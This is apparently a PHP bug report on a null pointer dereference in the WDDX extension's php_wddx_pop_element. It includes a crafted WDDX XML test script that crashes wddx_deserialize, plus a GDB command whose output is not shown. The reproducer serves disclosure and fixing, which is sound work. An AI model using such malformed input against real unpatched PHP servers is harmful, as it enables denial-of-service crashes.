Description:
------------
If we add an element to boolean leaf of XML struct, a null pointer dereference will happen when the element is popped. 

Source code:
https://github.com/php/php-src/blob/PHP-5.6.24/ext/wddx/wddx.c#L985

static void php_wddx_pop_element(void *user_data, const XML_Char *name)
{
...
  if (Z_TYPE_P(ent2->data) == IS_ARRAY || Z_TYPE_P(ent2->data) == IS_OBJECT) {
    target_hash = HASH_OF(ent2->data);
...

GDB output
----------

$ gdb -q --args  /home/operac/build2/bin/php -n wdx13bis.php

}

Test script:
---------------
<?php

$xml = <<<XML
<?xml version='1.0'?>
<!DOCTYPE wddxPacket SYSTEM 'wddx_0100.dtd'>
<wddxPacket version="1.0">
    <var name="XXXX">
        <boolean value="1">

        </boolean>
    </var>
</wddxPacket>
XML;

$array = wddx_deserialize($xml);


Expected result:
----------------
No crash
